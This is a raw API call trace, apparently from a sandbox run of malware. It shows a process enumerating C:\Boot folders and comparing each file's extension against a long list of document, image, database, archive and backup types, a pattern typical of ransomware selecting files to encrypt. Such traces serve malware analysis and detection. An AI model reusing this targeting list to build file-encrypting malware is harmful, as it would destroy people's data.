lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0089.762] lstrlenW (lpString=".ppt") returned 4 [0089.762] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.762] lstrlenW (lpString=".pptm") returned 5 [0089.763] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0089.763] lstrlenW (lpString=".pptx") returned 5 [0089.763] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0089.763] lstrlenW (lpString=".prn") returned 4 [0089.763] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".ps") returned 3 [0089.763] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0089.763] lstrlenW (lpString=".psb") returned 4 [0089.763] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".psd") returned 4 [0089.763] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".pst") returned 4 [0089.763] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".ptx") returned 4 [0089.763] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".pub") returned 4 [0089.763] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".pwm") returned 4 [0089.763] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".pxr") returned 4 [0089.763] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0089.763] lstrlenW (lpString=".py") returned 3 [0089.763] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0089.763] lstrlenW (lpString=".qt") returned 3 [0089.763] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0089.763] lstrlenW (lpString=".r3d") returned 4 [0089.763] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0089.764] lstrlenW (lpString=".raf") returned 4 [0089.764] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0089.764] lstrlenW (lpString=".rar") returned 4 [0089.764] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.764] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0089.764] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0089.764] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0089.764] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0089.764] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0089.765] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0089.765] lstrlenW (lpString="C:\\Boot\\en-GB") returned 13 [0089.765] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0089.765] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.765] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0089.765] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0089.765] lstrlenW (lpString=".1cd") returned 4 [0089.765] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.765] lstrlenW (lpString=".3ds") returned 4 [0089.765] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.765] lstrlenW (lpString=".3fr") returned 4 [0089.765] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.765] lstrlenW (lpString=".3g2") returned 4 [0089.765] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.765] lstrlenW (lpString=".3gp") returned 4 [0089.765] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.765] lstrlenW (lpString=".7z") returned 3 [0089.765] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.765] lstrlenW (lpString=".accda") returned 6 [0089.766] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0089.766] lstrlenW (lpString=".accdb") returned 6 [0089.766] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0089.766] lstrlenW (lpString=".accdc") returned 6 [0089.766] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0089.766] lstrlenW (lpString=".accde") returned 6 [0089.766] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0089.766] lstrlenW (lpString=".accdt") returned 6 [0089.766] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0089.766] lstrlenW (lpString=".accdw") returned 6 [0089.766] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0089.766] lstrlenW (lpString=".adb") returned 4 [0089.766] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.766] lstrlenW (lpString=".adp") returned 4 [0089.766] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.766] lstrlenW (lpString=".ai") returned 3 [0089.766] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.766] lstrlenW (lpString=".ai3") returned 4 [0089.766] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.766] lstrlenW (lpString=".ai4") returned 4 [0089.766] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.766] lstrlenW (lpString=".ai5") returned 4 [0089.766] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.766] lstrlenW (lpString=".ai6") returned 4 [0089.766] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.766] lstrlenW (lpString=".ai7") returned 4 [0089.767] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".ai8") returned 4 [0089.767] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".anim") returned 5 [0089.767] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0089.767] lstrlenW (lpString=".arw") returned 4 [0089.767] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".as") returned 3 [0089.767] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0089.767] lstrlenW (lpString=".asa") returned 4 [0089.767] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".asc") returned 4 [0089.767] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".ascx") returned 5 [0089.767] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0089.767] lstrlenW (lpString=".asm") returned 4 [0089.767] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".asmx") returned 5 [0089.767] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0089.767] lstrlenW (lpString=".asp") returned 4 [0089.767] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".aspx") returned 5 [0089.767] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0089.767] lstrlenW (lpString=".asr") returned 4 [0089.767] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0089.767] lstrlenW (lpString=".asx") returned 4 [0089.767] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".avi") returned 4 [0089.768] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".avs") returned 4 [0089.768] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".backup") returned 7 [0089.768] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0089.768] lstrlenW (lpString=".bak") returned 4 [0089.768] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".bay") returned 4 [0089.768] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".bd") returned 3 [0089.768] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0089.768] lstrlenW (lpString=".bin") returned 4 [0089.768] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".bmp") returned 4 [0089.768] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".bz2") returned 4 [0089.768] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".c") returned 2 [0089.768] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0089.768] lstrlenW (lpString=".cdr") returned 4 [0089.768] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".cer") returned 4 [0089.768] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0089.768] lstrlenW (lpString=".cf") returned 3 [0089.768] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0089.768] lstrlenW (lpString=".cfc") returned 4 [0089.769] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".cfm") returned 4 [0089.769] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".cfml") returned 5 [0089.769] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0089.769] lstrlenW (lpString=".cfu") returned 4 [0089.769] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".chm") returned 4 [0089.769] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".cin") returned 4 [0089.769] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".class") returned 6 [0089.769] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0089.769] lstrlenW (lpString=".clx") returned 4 [0089.769] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".config") returned 7 [0089.769] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0089.769] lstrlenW (lpString=".cpp") returned 4 [0089.769] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".cr2") returned 4 [0089.769] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".crt") returned 4 [0089.769] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".crw") returned 4 [0089.769] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0089.769] lstrlenW (lpString=".cs") returned 3 [0089.769] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0089.770] lstrlenW (lpString=".css") returned 4 [0089.770] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".csv") returned 4 [0089.770] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".cub") returned 4 [0089.770] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dae") returned 4 [0089.770] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dat") returned 4 [0089.770] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".db") returned 3 [0089.770] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0089.770] lstrlenW (lpString=".dbf") returned 4 [0089.770] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dbx") returned 4 [0089.770] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dc3") returned 4 [0089.770] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dcm") returned 4 [0089.770] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dcr") returned 4 [0089.770] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".der") returned 4 [0089.770] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dib") returned 4 [0089.770] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0089.770] lstrlenW (lpString=".dic") returned 4 [0089.771] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0089.771] lstrlenW (lpString=".dif") returned 4 [0089.771] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0089.771] lstrlenW (lpString=".divx") returned 5 [0089.771] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0089.771] lstrlenW (lpString=".djvu") returned 5 [0089.771] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0089.771] lstrlenW (lpString=".dng") returned 4 [0089.771] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0089.771] lstrlenW (lpString=".doc") returned 4 [0089.771] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.771] lstrlenW (lpString=".docm") returned 5 [0089.771] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0089.771] lstrlenW (lpString=".docx") returned 5 [0089.771] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0089.771] lstrlenW (lpString=".dot") returned 4 [0089.771] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0089.771] lstrlenW (lpString=".dotm") returned 5 [0089.771] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0089.771] lstrlenW (lpString=".dotx") returned 5 [0089.771] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0089.771] lstrlenW (lpString=".dpx") returned 4 [0089.771] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0089.771] lstrlenW (lpString=".dqy") returned 4 [0089.771] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0089.771] lstrlenW (lpString=".dsn") returned 4 [0089.771] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0089.772] lstrlenW (lpString=".dt") returned 3 [0089.772] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0089.772] lstrlenW (lpString=".dtd") returned 4 [0089.772] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0089.772] lstrlenW (lpString=".dwg") returned 4 [0089.772] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0089.772] lstrlenW (lpString=".dwt") returned 4 [0089.772] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0089.772] lstrlenW (lpString=".dx") returned 3 [0089.773] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0089.773] lstrlenW (lpString=".dxf") returned 4 [0089.773] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".edml") returned 5 [0089.773] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0089.773] lstrlenW (lpString=".efd") returned 4 [0089.773] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".elf") returned 4 [0089.773] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".emf") returned 4 [0089.773] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".emz") returned 4 [0089.773] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".epf") returned 4 [0089.773] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".eps") returned 4 [0089.773] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".epsf") returned 5 [0089.773] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0089.773] lstrlenW (lpString=".epsp") returned 5 [0089.773] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0089.773] lstrlenW (lpString=".erf") returned 4 [0089.773] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".exr") returned 4 [0089.773] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0089.773] lstrlenW (lpString=".f4v") returned 4 [0089.774] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".fido") returned 5 [0089.774] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0089.774] lstrlenW (lpString=".flm") returned 4 [0089.774] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".flv") returned 4 [0089.774] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".frm") returned 4 [0089.774] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".fxg") returned 4 [0089.774] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".geo") returned 4 [0089.774] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".gif") returned 4 [0089.774] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".grs") returned 4 [0089.774] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".gz") returned 3 [0089.774] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0089.774] lstrlenW (lpString=".h") returned 2 [0089.774] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0089.774] lstrlenW (lpString=".hdr") returned 4 [0089.774] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".hpp") returned 4 [0089.774] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0089.774] lstrlenW (lpString=".hta") returned 4 [0089.775] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".htc") returned 4 [0089.775] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".htm") returned 4 [0089.775] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".html") returned 5 [0089.775] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0089.775] lstrlenW (lpString=".icb") returned 4 [0089.775] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".ics") returned 4 [0089.775] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".iff") returned 4 [0089.775] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".inc") returned 4 [0089.775] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".indd") returned 5 [0089.775] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0089.775] lstrlenW (lpString=".ini") returned 4 [0089.775] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".iqy") returned 4 [0089.775] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".j2c") returned 4 [0089.775] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".j2k") returned 4 [0089.775] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0089.775] lstrlenW (lpString=".java") returned 5 [0089.776] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0089.776] lstrlenW (lpString=".jp2") returned 4 [0089.776] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".jpc") returned 4 [0089.776] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".jpe") returned 4 [0089.776] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".jpeg") returned 5 [0089.776] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0089.776] lstrlenW (lpString=".jpf") returned 4 [0089.776] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".jpg") returned 4 [0089.776] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".jpx") returned 4 [0089.776] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".js") returned 3 [0089.776] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0089.776] lstrlenW (lpString=".jsf") returned 4 [0089.776] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".json") returned 5 [0089.776] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0089.776] lstrlenW (lpString=".jsp") returned 4 [0089.776] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".kdc") returned 4 [0089.776] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0089.776] lstrlenW (lpString=".kmz") returned 4 [0089.776] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".kwm") returned 4 [0089.777] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".lasso") returned 6 [0089.777] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0089.777] lstrlenW (lpString=".lbi") returned 4 [0089.777] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".lgf") returned 4 [0089.777] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".lgp") returned 4 [0089.777] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".log") returned 4 [0089.777] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".m1v") returned 4 [0089.777] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".m4a") returned 4 [0089.777] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".m4v") returned 4 [0089.777] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".max") returned 4 [0089.777] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".md") returned 3 [0089.777] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0089.777] lstrlenW (lpString=".mda") returned 4 [0089.777] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0089.777] lstrlenW (lpString=".mdb") returned 4 [0089.777] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mde") returned 4 [0089.778] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mdf") returned 4 [0089.778] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mdw") returned 4 [0089.778] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mef") returned 4 [0089.778] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mft") returned 4 [0089.778] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mfw") returned 4 [0089.778] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mht") returned 4 [0089.778] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mhtml") returned 6 [0089.778] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0089.778] lstrlenW (lpString=".mka") returned 4 [0089.778] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mkidx") returned 6 [0089.778] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0089.778] lstrlenW (lpString=".mkv") returned 4 [0089.778] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0089.778] lstrlenW (lpString=".mos") returned 4 [0089.779] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".mov") returned 4 [0089.779] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".mp3") returned 4 [0089.779] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".mp4") returned 4 [0089.779] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".mpeg") returned 5 [0089.779] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0089.779] lstrlenW (lpString=".mpg") returned 4 [0089.779] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".mpv") returned 4 [0089.779] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".mrw") returned 4 [0089.779] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".msg") returned 4 [0089.779] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0089.779] lstrlenW (lpString=".mxl") returned 4 [0089.779] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0089.779] lstrlenW (lpString=".myd") returned 4 [0089.779] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0089.779] lstrlenW (lpString=".myi") returned 4 [0089.780] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0089.780] 